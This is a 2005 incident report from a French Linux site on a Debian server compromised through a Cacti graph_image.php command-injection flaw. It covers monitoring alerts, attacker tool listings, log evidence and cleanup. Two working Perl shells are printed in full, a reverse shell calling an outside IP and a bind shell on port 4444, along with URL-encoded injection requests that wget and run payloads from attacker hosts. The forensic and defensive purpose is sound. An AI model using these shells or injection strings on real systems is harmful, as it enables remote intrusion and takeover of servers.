URL: https://linuxfr.org/users/alis/journaux/a-security-report-cacti-and-consequences Title: A Security Report: Cacti and Consequences Authors: Boris Baldassari Date: 2005年07月19日T11:01:20+02:00 Tags: debian Score: 0 This article describes how we discovered an intrusion in our server (kewl), gathered intrusion elements and the deduced strategy of the attackers. It is publicly released because it may be of some interest for administrators. Please use it for Good Purposes. **Introduction** We have a server hosting several associations. It is a Debian Sarge system, using as often as possible debian packages -- for the strength and global policies of the community. As of today, Debian Sarge is in the main (stable) stream for nearly one month, and no security update has been provided for the installed packages since the entry of sarge in main on June 6th, 2005. We had no security concerns until this day -- the server is approximately 10 months old, and hosted in a datacenter. The last kernel image upgrade forced us to a reboot 200 days ago, but no downtime had been observed since. System reporting is provided by Cacti for graphs about system resources and Nagios for services-oriented management. Cacti installed version is 0.8.6c-7. Tiger is a set of scripts that scan a Unix system looking for security problems. It has already proven itself to be useful, and is configured to send periodic reports about file system strange files or directories, setuid scripts, and globaly insecure patterns. And, most importantly in the case of a datacenter-hosted server, it checks processes listening on network interfaces. **Alarms** Tiger mails administrators about security concerns a few times a day. It reports about file system strange files or directories, setuid scripts, and globaly insecure patterns. And, most importantly, it checks processes listening on network interfaces. On June 1st, sent mail indicated a new process running on TCP socket 2306, by user www-data. De: Tiger automatic auditor at kewl.mistur.org root@kewl.mistur. org À: root@kewl.mistur.org Objet: Tiger Auditing Report for kewl.mistur.org Date: Fri, 1 Jul 2005 04:20:29 +0200 (CEST) # Checking listening processes NEW: --WARN-- [lin003w] The process `love' is listening on socket £spaces£ £/spaces2306ドル (TCP on every interface) is run by www-data. The same day, Tiger sent another report about some suspicious directory names in the /tmp directory. De: Tiger automatic auditor at kewl.mistur.org root@kewl.mistur.org À: root@kewl.mistur.org Objet: Tiger Auditing Report for kewl.mistur.org Date: Fri, 1 Jul 2005 02:14:46 +0200 (CEST) # Performing check of user accounts... # Performing check of passwd files... # Looking for unusual device files... NEW: --ALERT-- [fsys005a] Unusual filename `.w' found: NEW: --ALERT-- [fsys005a] Unusual filename `.x' found: Some types of checks are done by Tiger only once a month, e.g. looking for unusual device files, while other are hourly, e.g. processes listening on network interface. The files had been created on Jun 24, 2005. kewl:~# ls -l /tmp/.[wx] /tmp/.w: total 132 -rw-r--r-- 1 www-data www-data 160 Jun 26 09:00 1 -rw-r--r-- 1 www-data www-data 160 Jun 24 19:00 2 -rw-r--r-- 1 www-data www-data 160 Jun 26 05:00 3 -rw-r--r-- 1 www-data www-data 18645 Jun 26 00:50 Linux.seen -rw-r--r-- 1 www-data www-data 24057 Jun 26 05:00 ment0ru.seen -rw-r--r-- 1 www-data www-data 1043 Jun 26 09:00 raw.levels -rw------- 1 www-data www-data 6 Jun 24 00:56 raw.pid -rw-r--r-- 1 www-data www-data 1469 Jun 26 09:00 raw.session -rw-r--r-- 1 www-data www-data 6787 May 27 18:53 raw.set -rw-r--r-- 1 www-data www-data 56141 Jun 26 09:00 root.seen /tmp/.x: total 3062 -rw-r--r-- 1 www-data www-data 417 Jul 1 00:00 1 -rw-r--r-- 1 www-data www-data 417 Jul 1 00:00 2 -rw-r--r-- 1 www-data www-data 417 Jul 1 00:00 3 -rw-r--r-- 1 www-data www-data 790094 Jul 1 00:20 CService.seen -rw-r--r-- 1 www-data www-data 767909 Jul 1 00:20 IRCop.seen -rw-r--r-- 1 www-data www-data 104321 Jun 30 13:39 LinkEvents -rw-r--r-- 1 www-data www-data 822879 Jul 1 00:20 mIRC.seen -rwx------ 1 www-data www-data 582647 Mar 1 22:38 mail drwxr-xr-x 2 www-data www-data 304 Apr 2 09:15 rand -rw-r--r-- 1 www-data www-data 22465 Dec 28 2002 raw.help -rw-r--r-- 1 www-data www-data 1022 Jul 1 00:00 raw.levels -rw------- 1 www-data www-data 6 Jun 26 09:18 raw.pid -rw-r--r-- 1 www-data www-data 2224 Jul 1 00:00 raw.session -rw-r--r-- 1 www-data www-data 4821 Jun 2 14:12 raw.set Nagios sent a SMS about a huge network load at the same time. **Server inspection** /dev/shm Later on, we connected and saw a strange stuff in /dev/shm, where the love process was rooted. kewl:~# ls -l /dev/shm drwxr-xr-x 7 www-data www-data 504 Jul 1 03:23 lamer drwx------ 2 www-data www-data 352 Jul 1 02:42 list -rwxr-xr-x 1 www-data www-data 17784 Apr 19 14:17 love drwxr-xr-x 2 root root 72 Jun 27 20:31 network drwxr-xr-x 2 www-data www-data 144 Jul 1 03:02 scan The network directory is regular; but the love executable and other directories owned by www-data belong to an unauthorized user (only the two administrators have access to a shell). kewl:~# ls -l /dev/shm/* -rwxr-xr-x 1 www-data www-data 17784 Apr 19 14:17 love dev/shm/lamer: total 508 -rwxr-xr-x 1 www-data www-data 35 2005年02月15日 09:51 conf -rwxr-xr-x 1 www-data www-data 298 2005年02月15日 09:52 config -rwxr-xr-x 1 www-data www-data 929 2002年05月07日 00:19 config.h -rwxr-xr-x 1 www-data www-data 341 2004年11月13日 22:42 fuck drwxr-xr-x 2 www-data www-data 4096 2005年01月02日 22:50 help drwxr-xr-x 2 www-data www-data 4096 2005年01月02日 22:50 lang drwxr-xr-x 2 www-data www-data 4096 2005年07月01日 09:15 log drwxr-xr-x 2 www-data www-data 4096 2005年07月01日 03:08 motd -rwxr-xr-x 1 www-data www-data 203360 2004年10月19日 00:08 pico -rwxr-xr-x 1 www-data www-data 14306 2003年11月13日 14:31 proc -rwxr-xr-x 1 www-data www-data 202544 2002年11月08日 21:30 proftpd accepting:connections -rw------- 1 www-data www-data 4481 2005年07月01日 03:23 psybnc.conf -rw------- 1 www-data www-data 4481 2005年07月01日 03:22 psybnc.conf.old -rw------- 1 www-data www-data 6 2005年07月01日 02:48 psybnc.pid -rwxr-xr-x 1 www-data www-data 64 2004年11月13日 22:33 run drwxr-xr-x 3 www-data www-data 4096 2005年02月15日 10:04 scripts -rwxr-xr-x 1 www-data www-data 21516 2002年09月25日 21:13 xh dev/shm/list: total 1344 -rw-r--r-- 1 www-data www-data 4096 2005年07月01日 02:29 209.182.pscan.22 -rw-r--r-- 1 www-data www-data 0 2005年07月01日 02:42 217.196.pscan.22 -rwx------ 1 www-data www-data 580 2005年03月03日 08:10 a -rw-r--r-- 1 www-data www-data 22354 2004年12月02日 00:31 common -rwxr-xr-x 1 www-data www-data 265 2004年11月25日 00:21 gen-pass.sh -rwx------ 1 www-data www-data 89 2005年03月03日 08:03 go.sh -rw-r--r-- 1 www-data www-data 1140 2005年03月27日 17:38 pass_file -rwx------ 1 www-data www-data 21407 2004年07月21日 23:58 pscan2 -rwx------ 1 www-data www-data 453972 2004年07月12日 20:09 ss -rwxr-xr-x 1 www-data www-data 842736 2004年11月24日 13:34 ssh-scan dev/shm/scan: total 2016 -rwxr-xr-x 1 www-data www-data 1465147 2005年01月06日 16:18 lol -rwxr-xr-x 1 www-data www-data 359 2004年07月20日 03:40 scan.sh -rwxr-xr-x 1 www-data www-data 570487 2005年01月06日 16:18 ss -rw-r--r-- 1 www-data www-data 8636 2005年07月01日 03:02 uniq.txt shell.pl A quick view in the /tmp directory showed up a rather suspicious shell.pl script. The date of creation indicates that the intrusion mechanism is ready for a few days now, although files in the shm directory have been created this night. kewl:~# ls -l /tmp/shell.pl -rw-r--r-- 1 www-data www-data 348 2005年06月24日 14:46 tmp/shell.pl kewl:~# less /tmp/shell.pl #!/usr/bin/perl use Socket; use IO::Handle; use POSIX; $proto = getprotobyname('tcp'); socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto); $sin = sockaddr_in(65000 ,inet_aton("82.101.14.162")); connect(Socket_Handle,$sin); dup2(Socket_Handle->fileno, 0); dup2(Socket_Handle->fileno, 1); dup2(Socket_Handle->fileno, 2); exec { "/bin/sh" } ""; This script connects on port 65000 of host 82.101.14.162, execs a shell and duplicates its stdin, stdout and stderr to the newly created socket. **Confidences gathering** SSH known_hosts Evidently enough, the www-data account had been stealed. No www-data files (especially hosted sites) had been modified, but the .ssh/known_hosts of user www-data had two new entries. This account is used by administrators from root su-ing only, and should not have any ssh entry keys. 204.157.15.108 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtMNvcJmHmRubc cn2KDShqiFL+hY7PTKviUts7pWPu4jaLksD5vH9jPY4jHOpOFliCJr+sW6ZJf0XE b2mi2WqIkTAsunkTEq4a6HCsfudwviJpfH6F/ymjtLa+mm7glzmv5m06VrHGKXmU roU/XNZypP1Kux5Pd1j9UPZB63f2R0= 66.235.160.30 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1jkbrQ8cpZoHeC N5Lu9PNf9BEaMPQXoes7UaTojpuPviJenLlQIlOyrqJf3P3e2WuGNP6McpKCc8EO pYwI/5N39RzWDshNeaGmmVrBRiaSwZKNwuaIlvto9PT2flg8y+bvJWjUGhcoDQzN alNIPru762HBzTAiR2+s4176cYoyc= The attacker has been connected from two different places, both resolving in US, Washington DC. Tiger A more detailed look in Tiger reports a few days before showed that a perl process had been listening on socket 4444 on 2005年6月24日. De: Tiger automatic auditor at kewl.mistur.org <root@kewl.mistur .org> À: root@kewl.mistur.org Objet: Tiger Auditing Report for kewl.mistur.org Date: 2005年6月24日 00:01:03 +0200 (CEST) # Checking for existence of log files... # Checking running processes # Checking listening processes NEW: --WARN-- [lin003w] The process `perl' is listening on socke t 4444 (TCP on every interface) is run by www-data. Several processes were also running on 2005年6月26日. De: Tiger automatic auditor at kewl.mistur.org root@kew l.mistur.org À: root@kewl.mistur.org Objet: Tiger Auditing Report for kewl.mistur.org Date: 2005年6月26日 10:00:13 +0200 (CEST) # Checking listening processes OLD: --WARN-- [lin003w] The process `httpd' is listening on socket 57691 (UDP on every interface) is run by www-data. NEW: --WARN-- [lin003w] The process `mail' is listening on socket 51265 (UDP on every interface) is run by www-data. OLD: --WARN-- [lin003w] The process `perl' is listening on socket 4444 (TCP on every interface) is run by www-data. NEW: --WARN-- [lin003w] The process `raven' is listening on socket 59768 (TCP on every interface) is run by www-data. One of the tool found in /dev/shm/lamer, hx, is a process faker. We cannot rely on processes names or ownership. The mail executable has been found in /tmp/.x, and the perl script on port 4444 is probably the second shell.pl found later. Apache logs Apache logs show the shell.pl perl script execution and unreveal the responsible service for the attack: cacti, and a link to the bug. kewl:~# grep shell.pl access.log 210.187.123.13 - - [24/Jun/2005:16:59:11 +0200] "GET /cacti/grap h_image.php?local_graph_id=29&graph_start=%0acd%20/tmp;wget%20bo lintin.netfirms.com/shell.jpg;mv%20shell.jpg%20shell.pl;chmod%20 +x%20shell.pl;perl%20shell.pl%0a HTTP/1.1" 200 13 "-" "LWP::Simp le/5.65" 109 80.67.172.53 213.239.207.7 - - [26/Jun/2005:09:04:08 +0200] "GET /cacti/graph _image.php?local_graph_id=29&graph_start=%0acd%20/tmp;wget%20htt p://albythebest.altervista.org/shell.pl;chmod%20777%20shell.pl;p erl%20shell.pl%0a HTTP/1.1" 200 13 "-" "LWP::Simple/5.76" 216999 £spaces£ £/spaces80ドル.67.172.53 The second url from which the perl script is downloaded is still available today. It basically listens on port 4444, opens a shell and furnishes stdin, stdout and stderr. #!/usr/bin/perl use Socket; $port=4444; $proto=getprotobyname('tcp'); $cmd="lpd"; $system='/bin/sh'; 0ドル=$cmd; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) £spaces£ £/spaces£or die "setsockopt: $!"; bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!"; listen(SERVER, SOMAXCONN) or die "listen: $!"; for(;$paddr=accept(CLIENT, SERVER);close CLIENT) { £spaces£ £/spaces£open(STDIN, ">&CLIENT"); £spaces£ £/spaces£open(STDOUT, ">&CLIENT"); £spaces£ £/spaces£open(STDERR, ">&CLIENT"); £spaces£ £/spaces£system($system); £spaces£ £/spaces£close(STDIN); £spaces£ £/spaces£close(STDOUT); £spaces£ £/spaces£close(STDERR); } This one is less stealth than the first script: it listens to an interface and is seen by Tiger, thus the alert on Jun, 26th. The two ip used for connections resolve resp. at Kuala Lumpur (Malaysia) and Gunzenhausen (Germany). The LWP::Simple/5.76 mention for user agent induces use of a script. Nagios Nagios furnished also some information about the activity of the server on July, 1st. Several alerts were generated about the server itself and about the gateway, which is also monitored. They can be imputed to important activity. _July 01, 2005 04:00_ Service Critical[01-07-2005 03:57:39] SERVICE ALERT: kewl;PING;C RITICAL;SOFT;2;CRITICAL - Plugin timed out after 10 seconds Service Critical[01-07-2005 03:56:08] SERVICE ALERT: kewl;PING;C RITICAL;SOFT;1;CRITICAL - Plugin timed out after 10 seconds Host Up[01-07-2005 03:56:08] HOST ALERT: kewl;UP;SOFT;2;(No outp ut!) Host Down[01-07-2005 03:55:42] HOST ALERT: kewl;DOWN;SOFT;1;CRIT ICAL - Plugin timed out after 10 seconds _July 01, 2005 05:00_ Service stopped flapping[01-07-2005 05:28:18] SERVICE FLAPPING A LERT: gw;PING;STOPPED; Service appears to have stopped flapping (4.4% change < 5.0% threshold) **The Vulnerability** A security report from the cacti bug tracking system was published on 06-15-05: 0000487: Arbitrary Command Execution on graph_image.php. It has been fixed in version 0.8.6e. Cacti contains an input validation error in the graph_image.php script that allows an attacker to send in the url Unix commands. This in effect allows arbitrary code execution with the privileges of the web server. The following example demonstrates how this might be exploited: /graph_image.php?local_graph_id=8&graph_start=%0aUNIX COMMAND%0a The %0a is the url-encoded form of the newline char, i.e. \n. Successful exploitation of this vulnerability allows a remote attacker to gain shell access with the privileges of the web server. An attacker can then attempt to escalate privileges using local exploits, possibly allowing a full root compromise. Typically, attacker will wget a script from a slave http server, change permissions and execute it. /graph_image.php?local_graph_id=8&graph_start=%0acd%20/tmp;wget %20[http://albythebest.altervista.org/shell.pl;chmod%20777%20she(...)](http://albythebest.altervista.org/shell.pl;chmod%20777%20she) ll.pl;perl%20shell.pl%0a The Debian bug tracking system also published a security report on 06-25-05: #315703 cacti: remote vulnerabilities (CAN 2005-{1524,1525,1526}), but the package provided by the cacti maintainer was not uploaded by the security team. The recommended workaround is to require authentication to access the Cacti installation, and to restrict access to web servers using Cacti to only trusted hosts. **Actions & Conclusion** The first action was to disable the www-data account, by replacing the default shell in /etc/passwd by /bin/false. Then, backup and remove strange stuff: * /tmp/shell.pl * /dev/shm/* things -- excepted the root-owned network directory, * /tmp/.w * /tmp/.x * backup only: /var/log/apache, /var/log/auth.*, /var/log/cacti. We verified main system binaries with md5sum (yes md5sum is a main system binary) and reinstalled main packages from apt repositories. Everything seemed ok, and there was no track of root ownership. The /dev/shm and /tmp directory should have been set no-exec, which implies that /tmp should be set on a separate disk partition. Tiger had well fulfilled its role and is kept on the system. Other intrusion detection systems and log checkers have also been installed and configured. Most probably, the scenario of the attack can be reconstructed as follows: * on June 24th, the attacker sent a GET request on the cacti scripts, retrieved the script from bolintin.netfirms.com/shell.jpg, renamed it, set it executable and executed it. \item the shell.pl script found in the /tmp directory opens a connection to port 65000 of host 82.101.14.162 and connects it to a shell (/bin/sh). * on June 26th, another attacker used the same method from another host, but with a slightly different script. * on July 1st, the love process began to run from /dev/shm, which fired the Tiger alarms. A huge load on bandwidth fired the Nagios alarm as well. A few hours later, the www-data account was disabled. The load on July 1st has probably been generated by a mass mailing, since we did not find any consequent storage area on the server. The mail utility in /tmp/.x/ was probably used for this. Several IP were left on host. * 82.101.14.162 in shell.pl * 210.187.123.13 in apache logs * 213.239.207.7 in apache logs * 204.157.15.108 in SSH known_hosts * 66.235.160.30 in SSH known_hosts * albythebest.altervista.org/shell.pl in apache logs * bolintin.netfirms.com/shell.jpg in apache logs.

AltStyle によって変換されたページ (->オリジナル) /